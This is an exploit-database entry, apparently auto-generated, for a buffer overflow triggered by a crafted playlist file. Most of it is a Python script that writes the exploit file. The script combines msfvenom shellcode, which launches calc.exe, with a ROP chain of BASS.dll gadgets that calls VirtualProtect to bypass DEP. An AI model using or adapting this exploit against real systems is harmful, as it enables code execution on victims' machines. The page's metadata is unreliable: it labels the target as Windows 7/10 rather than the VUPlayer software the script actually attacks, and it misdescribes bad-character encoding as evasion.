Windows 7/10 Home x86/x86_x64 Buffer Overflow Exploit

vendor:

Windows 7/10 Home

by:

Anonymous

8,8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Windows 7/10 Home

Affected Version From: Windows 7 Home x86 & Windows 10 Home x86_x64

Affected Version To: Windows 7 Home x86 & Windows 10 Home x86_x64

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2020

Windows 7/10 Home x86/x86_x64 Buffer Overflow Exploit

This exploit is a buffer overflow exploit for Windows 7/10 Home x86/x86_x64. It uses a malicious payload to overwrite the return address of a vulnerable function, allowing the attacker to execute arbitrary code. The payload is encoded with bad characters to avoid detection. The exploit also uses a ROP chain to bypass DEP and ASLR.

Mitigation:

Ensure that all software is up to date and patched with the latest security updates. Use a firewall to block incoming connections from untrusted sources. Use an antivirus to detect and remove malicious code.

Source

Exploit-DB raw data:

#!/usr/bin/python

import os,sys

#Tested Windows 7 Home x86 & Windows 10 Home x86_x64

#badchars \x00\x0a\x1a\x20\x40
#msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -b "\x00\x0a\x1a\x20\x40" -f python

buf =  ""
buf += "\xbf\x3b\x99\xdd\xa3\xdb\xc4\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x33\x31\x78\x12\x03\x78\x12\x83\xfb\x9d\x3f"
buf += "\x56\x07\x75\x36\x99\xf7\x86\x29\x13\x12\xb7\x7b\x47"
buf += "\x57\xea\x4b\x03\x35\x07\x27\x41\xad\x9c\x45\x4e\xc2"
buf += "\x15\xe3\xa8\xed\xa6\xc5\x74\xa1\x65\x47\x09\xbb\xb9"
buf += "\xa7\x30\x74\xcc\xa6\x75\x68\x3f\xfa\x2e\xe7\x92\xeb"
buf += "\x5b\xb5\x2e\x0d\x8c\xb2\x0f\x75\xa9\x04\xfb\xcf\xb0"
buf += "\x54\x54\x5b\xfa\x4c\xde\x03\xdb\x6d\x33\x50\x27\x24"
buf += "\x38\xa3\xd3\xb7\xe8\xfd\x1c\x86\xd4\x52\x23\x27\xd9"
buf += "\xab\x63\x8f\x02\xde\x9f\xec\xbf\xd9\x5b\x8f\x1b\x6f"
buf += "\x7e\x37\xef\xd7\x5a\xc6\x3c\x81\x29\xc4\x89\xc5\x76"
buf += "\xc8\x0c\x09\x0d\xf4\x85\xac\xc2\x7d\xdd\x8a\xc6\x26"
buf += "\x85\xb3\x5f\x82\x68\xcb\x80\x6a\xd4\x69\xca\x98\x01"
buf += "\x0b\x91\xf6\xd4\x99\xaf\xbf\xd7\xa1\xaf\xef\xbf\x90"
buf += "\x24\x60\xc7\x2c\xef\xc5\x37\x67\xb2\x6f\xd0\x2e\x26"
buf += "\x32\xbd\xd0\x9c\x70\xb8\x52\x15\x08\x3f\x4a\x5c\x0d"
buf += "\x7b\xcc\x8c\x7f\x14\xb9\xb2\x2c\x15\xe8\xd0\xb3\x85"
buf += "\x70\x39\x56\x2e\x12\x45"

rop = "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll] 
rop += "\x5c\xe2\x60\x10" #ptr to &VirtualProtect() [IAT BASSMIDI.dll]
rop += "\xf1\xea\x01\x10" #MOV EAX,DWORD PTR DS:[EAX] # RTN [BASS.dll] 
rop += "\x50\x09\x03\x10" #XCHG EAX,ESI # RETN [BASS.dll]
rop += "\x0c\x80\x60\x10" #POP EBP # RETN 0x0C [BASSMIDI.dll]
rop += "\x9f\x53\x10\x10" #& jmp esp BASSWMA.dll
rop += "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll] 
rop += "\x90"*12
rop += "\xff\xfd\xff\xff" #201 in negative
rop += "\xb4\x4d\x01\x10" #NEG EAX # RETN [BASS.dll]
rop += "\x72\x2f\x03\x10" #XCHG EAX,EBX # RETN [BASS.dll] 
rop += "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll] 
rop += "\xc0\xff\xff\xff" #40 in negative
rop += "\xb4\x4d\x01\x10" #NEG EAX # RETN [BASS.dll]
rop += "\x6c\x8a\x03\x10" #XCHG EAX,EDX # RETN [BASS.dll]
rop += "\x07\x10\x10\x10" #POP ECX # RETN [BASSWMA.dll]
rop += "\x93\x83\x10\x10" #&Writable location [BASSWMA.dll]
rop += "\x04\xdc\x01\x10" #POP EDI # RETN [BASS.dll]
rop += "\x84\xa0\x03\x10" #RETN [BASS.dll]
rop += "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll] 
rop += "\x90"*4
rop += "\xa5\xd7\x01\x10" #PUSHAD # RETN [BASS.dll]


exploit = "\x41"*1012 + rop + "\x90"*8 + buf

print "len + " + str(len(rop))

file = open('/root/Desktop/exploit_development/VUPlayer/boom.pls','w')
file.write(exploit)
file.close()